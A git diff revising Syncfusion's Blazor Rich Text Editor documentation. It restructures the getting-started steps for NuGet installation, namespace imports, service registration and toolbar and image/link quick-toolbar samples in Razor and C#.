-    <p>The Rich Text Editor component is WYSIWYG ('what you see is what you get') editor that provides the best user experience to create and update the content. Users can format their content using standard toolbar commands.</p>
-    <p><b> Key features:</b></p>
-    <ul>
-        <li><p> Provides <b>IFRAME</b> and <b>DIV</b> modes </p></li>
-        <li><p> Capable of handling markdown editing.</p></li>
-        <li><p> Contains a modular library to load the necessary functionality on demand.</p></li>
-        <li><p> Provides a fully customizable toolbar.</p></li>
-        <li><p> Provides HTML view to edit the source directly for developers.</p></li>
-        <li><p> Supports third - party library integration.</p></li>
-        <li><p> Allows preview of modified content before saving it.</p></li>
-    </ul>
-</SfRichTextEditor>
-
-@code {
-    private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>()
-    {
-        new ToolbarItemModel() { Command = ToolbarCommand.Bold },
-        new ToolbarItemModel() { Command = ToolbarCommand.Italic },
-        new ToolbarItemModel() { Command = ToolbarCommand.Underline },
-        new ToolbarItemModel() { Command = ToolbarCommand.StrikeThrough },
-        new ToolbarItemModel() { Command = ToolbarCommand.FontName },
-        new ToolbarItemModel() { Command = ToolbarCommand.FontSize },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.FontColor },
-        new ToolbarItemModel() { Command = ToolbarCommand.BackgroundColor },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.Formats },
-        new ToolbarItemModel() { Command = ToolbarCommand.Alignments },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.LowerCase },
-        new ToolbarItemModel() { Command = ToolbarCommand.UpperCase },
-        new ToolbarItemModel() { Command = ToolbarCommand.SuperScript },
-        new ToolbarItemModel() { Command = ToolbarCommand.SubScript },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.OrderedList },
-        new ToolbarItemModel() { Command = ToolbarCommand.UnorderedList },
-        new ToolbarItemModel() { Command = ToolbarCommand.Outdent },
-        new ToolbarItemModel() { Command = ToolbarCommand.Indent },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateLink },
-        new ToolbarItemModel() { Command = ToolbarCommand.Image },
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateTable },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.ClearFormat },
-        new ToolbarItemModel() { Command = ToolbarCommand.Print },
-        new ToolbarItemModel() { Command = ToolbarCommand.SourceCode },
-        new ToolbarItemModel() { Command = ToolbarCommand.FullScreen },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.Undo },
-        new ToolbarItemModel() { Command = ToolbarCommand.Redo }
-    };
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BXBSjuNoTrQNLwVM?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Rich Text Editor with Toolbar](./images/blazor-richtexteditor-toolbar.png)" %}
-
-## Insert images and links
-
-The **Image** inserts an image into Rich Text Editor's content area, and the **Link** links an external resources such as website URLs to the selected text in the Rich Text Editor's content respectively.
-
-Specifies the items to be rendered in quick toolbar based on the target elements such as image, link and table element. The quick toolbar opens to customize the element by clicking the target element.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
 @using Syncfusion.Blazor.RichTextEditor
 
 <SfRichTextEditor>
-    <RichTextEditorToolbarSettings Items="@Tools" />
-    <RichTextEditorQuickToolbarSettings Image="@Image" Link="@Link" />
     <p>Rich Text Editor allows to insert images from online source as well as local computer where you want to insert the image in your content.</p>
     <p><b>Get started Quick Toolbar to click on the image</b></p>
     <p>It is possible to add custom style on the selected image inside the Rich Text Editor through quick toolbar.</p>
-    <img alt='Logo' style='width: 300px; height: 300px; transform: rotate(0deg);' src='https://cdn.syncfusion.com/ej2/richtexteditor-resources/RTE-Portrait.png' />
 </SfRichTextEditor>
 
-@code {
-    private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>()
-    {
-        new ToolbarItemModel() { Command = ToolbarCommand.Bold },
-        new ToolbarItemModel() { Command = ToolbarCommand.Italic },
-        new ToolbarItemModel() { Command = ToolbarCommand.Underline },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.Formats },
-        new ToolbarItemModel() { Command = ToolbarCommand.Alignments },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateLink },
-        new ToolbarItemModel() { Command = ToolbarCommand.Image },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.SourceCode },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.Undo },
-        new ToolbarItemModel() { Command = ToolbarCommand.Redo }
-    };
-    private List<ImageToolbarItemModel> Image = new List<ImageToolbarItemModel>()
-    {
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.Replace },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.Align },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.Caption },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.Remove },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.OpenImageLink },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.HorizontalSeparator },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.EditImageLink },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.RemoveImageLink },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.Display },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.AltText },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.Dimension }
-    };
-    private List<LinkToolbarItemModel> Link = new List<LinkToolbarItemModel>()
-    {
-        new LinkToolbarItemModel() { Command = LinkToolbarCommand.Open },
-        new LinkToolbarItemModel() { Command = LinkToolbarCommand.Edit },
-        new LinkToolbarItemModel() { Command = LinkToolbarCommand.UnLink }
-    };
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LDBeXatSJUnenDUw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Rich Text Editor with Image](./images/blazor-richtexteditor-image.png)" %}
-
-## Retrieve the formatted content
-
-To retrieve the editor content in HTML format, use the [Value](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_Value) property of the Rich Text Editor. To fetch the editor content as plain text, use the [GetText](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_GetTextAsync) method of the Rich Text Editor.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.Buttons
-@using Syncfusion.Blazor.RichTextEditor
-@using Syncfusion.Blazor.Popups
-
-<SfButton @onclick="@GetValue">Get Value</SfButton>
-<SfButton @onclick="@GetText">Get Text</SfButton>
-
-<br />
-<SfDialog @ref="DialogObj" @bind-Visible="@Visibility" Content="@Content" Header="@Header" Target="#target" Height="200px"
-          Width="400px" ShowCloseIcon="true">
-    <DialogButtons>
-        <DialogButton Content="Ok" IsPrimary="true" OnClick="@DlgButtonClick" />
-    </DialogButtons>
-
-</SfDialog>
-<SfRichTextEditor @ref="RteObj" Value="@RteValue" />
-
-@code {
-    SfRichTextEditor RteObj;
-    SfDialog DialogObj;
-    private string Content;
-    private bool Visibility = false;
-    private string Header = "Rich Text Editor's Value";
-    private string RteValue = @"<p>Rich Text Editor allows to insert images from online source as well as local computer where you want to insert the image in your content.</p><p><b>Get started Quick Toolbar to click on the image</b></p><p>It is possible to add custom style on the selected image inside the Rich Text Editor through quick toolbar.</p><img alt='Logo' style='width: 300px; height: 300px; transform: rotate(0deg);' src='https://cdn.syncfusion.com/ej2/richtexteditor-resources/RTE-Portrait.png' />";
-    private async Task GetValue()
-    {
-        this.Content = this.RteValue;
-        await this.DialogObj.ShowAsync();
-    }
-    private async Task GetText()
-    {
-        this.Content = await this.RteObj.GetTextAsync();
-        this.DialogObj.ShowAsync();
-    }
-    private async Task DlgButtonClick(object arg)
-    {
-        await this.DialogObj.HideAsync();
-    }
-}
-
 {% endhighlight %}
 {% endtabs %}
 
-## Retrieve the number of characters
+To launch the application, press <kbd>Ctrl</kbd>+<kbd>F5</kbd> in Visual Studio, run `dotnet run` from the CLI or integrated terminal in VS Code, or use the Run command in your preferred IDE to render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor RichTextEditor component in the default web browser.
 
-To retrieve the number of characters in the Rich Text Editor content, use the [GetCharCount](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_GetCharCountAsync) method of the Rich Text Editor.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.Buttons
-@using Syncfusion.Blazor.RichTextEditor
-@using Syncfusion.Blazor.Popups
-
-<SfButton @onclick="@GetCharCount">Get Char Count</SfButton>
-
-<br />
-<SfDialog @ref="DialogObj" @bind-Visible="@Visibility" Content="@Content" Header="@Header" Target="#target" Height="200px"
-          Width="400px" ShowCloseIcon="true">
-    <DialogButtons>
-        <DialogButton Content="Ok" IsPrimary="true" OnClick="@DlgButtonClick" />
-    </DialogButtons>
-
-</SfDialog>
-<SfRichTextEditor @ref="RteObj" />
-
-@code {
-    SfRichTextEditor RteObj;
-    SfDialog DialogObj;
-    private string Content;
-    private bool Visibility = false;
-    private string Header = "Rich Text Editor's Value";
-    private string RteValue = @"<p>Rich Text Editor allows to insert images from online source as well as local computer where you want to insert the image in your content.</p><p><b>Get started Quick Toolbar to click on the image</b></p><p>It is possible to add custom style on the selected image inside the Rich Text Editor through quick toolbar.</p><img alt='Logo' style='width: 300px; height: 300px; transform: rotate(0deg);' src='https://cdn.syncfusion.com/ej2/richtexteditor-resources/RTE-Portrait.png' />";
-    private async Task GetCharCount()
-    {
-        double charCount = await this.RteObj.GetCharCountAsync();
-        this.Content = charCount.ToString(); // Convert double to string
-        await this.DialogObj.ShowAsync();
-    }
-    private async Task DlgButtonClick(object arg)
-    {
-        await this.DialogObj.HideAsync();
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BtBdjohZVVUMIRjO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Rich Text Editor Component](./images/blazor-richtexteditor.png)" %}
 
 N> [View sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/RichTextEditor).
 
@@ -423,4 +233,4 @@ N> [View sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-
 
 * [Keyboard support in Rich text editor](https://blazor.syncfusion.com/documentation/rich-text-editor/keyboard-support)
 
-* [Globalization in Rich text editor](https://blazor.syncfusion.com/documentation/rich-text-editor/globalization)
\ No newline at end of file
+* [Globalization in Rich text editor](https://blazor.syncfusion.com/documentation/rich-text-editor/globalization)
diff --git a/blazor/rich-text-editor/getting-started.md b/blazor/rich-text-editor/getting-started.md
index 45e31dca5c..519488ca15 100644
--- a/blazor/rich-text-editor/getting-started.md
+++ b/blazor/rich-text-editor/getting-started.md
@@ -1,6 +1,7 @@
 ---
 layout: post
 title: Getting Started with Rich Text Editor in Blazor | Syncfusion
+canonical_url: "https://blazor.syncfusion.com/documentation/rich-text-editor/getting-started"
 description: Checkout and learn about getting started with the Rich Text Editor in Blazor WebAssembly Application.
 platform: Blazor
 control: RichTextEditor
@@ -11,14 +12,12 @@ documentation: ug
 
 # Getting Started with Rich Text Editor in Blazor
 
-This guide explains how to add the [Blazor Rich Text Editor](https://www.syncfusion.com/blazor-components/blazor-rich-text-editor) component to a Blazor WebAssembly app using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+This guide briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Rich Text Editor](https://www.syncfusion.com/blazor-components/blazor-rich-text-editor) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 N> Explore the [Blazor Rich Text Editor](https://blazor.syncfusion.com/demos/rich-text-editor/overview?theme=bootstrap5) demo to learn how to render and configure the editor tools.
 
 > **Ready to streamline your Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor development?** <br/>Discover the full potential of Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components with Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants. Effortlessly integrate, configure, and enhance your projects with intelligent, context-aware code suggestions, streamlined setups, and real-time insights—all seamlessly integrated into your preferred AI-powered IDEs like VS Code, Cursor, Syncfusion<sup style="font-size:70%">&reg;</sup> CodeStudio and more. [Explore Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants](https://blazor.syncfusion.com/documentation/ai-coding-assistant/overview)
 
-To get started quickly with the Blazor Rich Text Editor, see the [Getting Started sample on GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/RichTextEditor).
-
 {% tabcontents %}
 
 {% tabcontent Visual Studio %}
@@ -31,23 +30,6 @@ To get started quickly with the Blazor Rich Text Editor, see the [Getting Starte
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Rich Text Editor and Themes NuGet packages
-
-To add the **Blazor Rich Text Editor** component, open the NuGet package manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), then search and install [Syncfusion.Blazor.RichTextEditor](https://www.nuget.org/packages/Syncfusion.Blazor.RichTextEditor) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.RichTextEditor -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -60,7 +42,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -73,26 +55,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Rich Text Editor and Themes NuGet packages
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure in the project root directory where the `.csproj` file is located.
-* Run the following commands to install the [Syncfusion.Blazor.RichTextEditor](https://www.nuget.org/packages/Syncfusion.Blazor.RichTextEditor) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.RichTextEditor -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -111,7 +73,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -122,325 +84,139 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Rich Text Editor and Themes NuGet packages
-
-To add the **Blazor Rich Text Editor** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.RichTextEditor](https://www.nuget.org/packages/Syncfusion.Blazor.RichTextEditor/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+{% endtabcontent %}
 
-{% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% endtabcontents %}
 
-dotnet add package Syncfusion.Blazor.RichTextEditor -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-{% endhighlight %}
-{% endtabs %}
+Install the following NuGet packages in your project:
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
+* [Syncfusion.Blazor.RichTextEditor](https://www.nuget.org/packages/Syncfusion.Blazor.RichTextEditor)  
+* [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes)
 
-{% endtabcontent %}
+You can install these packages using different methods as shown below:
 
-{% endtabcontents %}
+{% tabcontents %}
 
-## Add import namespaces
+{% tabcontent Visual Studio %}
 
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.RichTextEditor` namespace.
+1. In Visual Studio Navigate to:
 
-{% tabs %}
-{% highlight razor tabtitle="~/_Imports.razor" %}
+   **Tools → NuGet Package Manager → Manage NuGet Packages for Solution**
+2. Search for the required packages.
+3. Select the package and click **Install**.
 
-@using Syncfusion.Blazor
-@using Syncfusion.Blazor.RichTextEditor
+{% endtabcontent %}
 
-{% endhighlight %}
-{% endtabs %}
+{% tabcontent Visual Studio (Package Manager Console) %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
+1. In Visual Studio Navigate to:
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **~/Program.cs** file of the Blazor WebAssembly app.
+   **Tools → NuGet Package Manager → Package Manager Console**
+2. Run the following commands:
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
-
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
-using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
+{% highlight C# tabtitle="Install Packages" %}
 
-builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
-....
+Install-Package Syncfusion.Blazor.RichTextEditor -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-## Add stylesheet and script resources
-
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
-
-```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-
-    //Blazor RichTextEditor Component script reference.
-    <!-- <script src="_content/Syncfusion.Blazor.RichTextEditor/scripts/sf-richtexteditor.min.js" type="text/javascript"></script> -->
-</head>
-```
-
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+{% endtabcontent %}
 
-## Add Blazor Rich Text Editor component
+{% tabcontent Visual Studio Code / .NET CLI %}
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Rich Text Editor component in the **~/Pages/Index.razor** file.
+1. Open your project.
+2. Open the terminal:
+   - In Visual Studio Code: use the integrated terminal (<kbd>Ctrl</kbd> + <kbd>`</kbd>)
+   - Or use any system terminal for CLI
+3. Run the following commands:
 
 {% tabs %}
-{% highlight razor %}
+{% highlight C# tabtitle="Install Packages" %}
 
-<SfRichTextEditor>
-    <p>Rich Text Editor allows to insert images from online source as well as local computer where you want to insert the image in your content.</p>
-    <p><b>Get started Quick Toolbar to click on the image</b></p>
-    <p>It is possible to add custom style on the selected image inside the Rich Text Editor through quick toolbar.</p>
-</SfRichTextEditor>
+dotnet add package Syncfusion.Blazor.RichTextEditor --version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes --version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Rich Text Editor component in the default web browser.
+{% endtabcontent %}
+
+{% endtabcontents %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rXhfZMqXAUqtaOyK?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Rich Text Editor Component](./images/blazor-richtexteditor.png)" %}
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-## Configure the toolbar
+## Add import namespaces
 
-Configure the toolbar with the tools using [RichTextEditorToolbarSettings.Items](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorToolbarSettings.html#Syncfusion_Blazor_RichTextEditor_RichTextEditorToolbarSettings_Items) property as your application requires.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.RichTextEditor` namespaces.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight C# tabtitle="~/_Imports.razor" %}
 
-<SfRichTextEditor>
-    <RichTextEditorToolbarSettings Items="@Tools" />
-    <p>The Rich Text Editor component is WYSIWYG ('what you see is what you get') editor that provides the best user experience to create and update the content. Users can format their content using standard toolbar commands.</p>
-    <p><b> Key features:</b></p>
-    <ul>
-        <li><p> Provides <b>IFRAME</b> and <b>DIV</b> modes </p></li>
-        <li><p> Capable of handling markdown editing.</p></li>
-        <li><p> Contains a modular library to load the necessary functionality on demand.</p></li>
-        <li><p> Provides a fully customizable toolbar.</p></li>
-        <li><p> Provides HTML view to edit the source directly for developers.</p></li>
-        <li><p> Supports third - party library integration.</p></li>
-        <li><p> Allows preview of modified content before saving it.</p></li>
-    </ul>
-</SfRichTextEditor>
-
-@code {
-    private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>()
-    {
-        new ToolbarItemModel() { Command = ToolbarCommand.Bold },
-        new ToolbarItemModel() { Command = ToolbarCommand.Italic },
-        new ToolbarItemModel() { Command = ToolbarCommand.Underline },
-        new ToolbarItemModel() { Command = ToolbarCommand.StrikeThrough },
-        new ToolbarItemModel() { Command = ToolbarCommand.FontName },
-        new ToolbarItemModel() { Command = ToolbarCommand.FontSize },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.FontColor },
-        new ToolbarItemModel() { Command = ToolbarCommand.BackgroundColor },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.Formats },
-        new ToolbarItemModel() { Command = ToolbarCommand.Alignments },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.LowerCase },
-        new ToolbarItemModel() { Command = ToolbarCommand.UpperCase },
-        new ToolbarItemModel() { Command = ToolbarCommand.SuperScript },
-        new ToolbarItemModel() { Command = ToolbarCommand.SubScript },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.OrderedList },
-        new ToolbarItemModel() { Command = ToolbarCommand.UnorderedList },
-        new ToolbarItemModel() { Command = ToolbarCommand.Outdent },
-        new ToolbarItemModel() { Command = ToolbarCommand.Indent },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateLink },
-        new ToolbarItemModel() { Command = ToolbarCommand.Image },
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateTable },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.ClearFormat },
-        new ToolbarItemModel() { Command = ToolbarCommand.Print },
-        new ToolbarItemModel() { Command = ToolbarCommand.SourceCode },
-        new ToolbarItemModel() { Command = ToolbarCommand.FullScreen },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.Undo },
-        new ToolbarItemModel() { Command = ToolbarCommand.Redo }
-    };
-}
+@using Syncfusion.Blazor
+@using Syncfusion.Blazor.RichTextEditor
 
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BXBSjuNoTrQNLwVM?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Rich Text Editor with Toolbar](./images/blazor-richtexteditor-toolbar.png)" %}
-
-## Insert images and links
-
-The **Image** tool inserts an image into the Rich Text Editor content area, and the **Link** tool applies hyperlinks (such as website URLs) to the selected text.
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Specify quick toolbar items for target elements such as images, links, and tables. The quick toolbar opens when clicking the target element, allowing customization of that element.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight razor %}
-
-<SfRichTextEditor>
-    <RichTextEditorToolbarSettings Items="@Tools" />
-    <RichTextEditorQuickToolbarSettings Image="@Image" Link="@Link" />
-    <p>Rich Text Editor allows to insert images from online source as well as local computer where you want to insert the image in your content.</p>
-    <p><b>Get started Quick Toolbar to click on the image</b></p>
-    <p>It is possible to add custom style on the selected image inside the Rich Text Editor through quick toolbar.</p>
-    <img alt='Logo' style='width: 300px; height: 300px; transform: rotate(0deg);' src='https://cdn.syncfusion.com/ej2/richtexteditor-resources/RTE-Portrait.png' />
-</SfRichTextEditor>
+{% highlight C# tabtitle="Program.cs" %}
 
-@code {
-    private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>()
-    {
-        new ToolbarItemModel() { Command = ToolbarCommand.Bold },
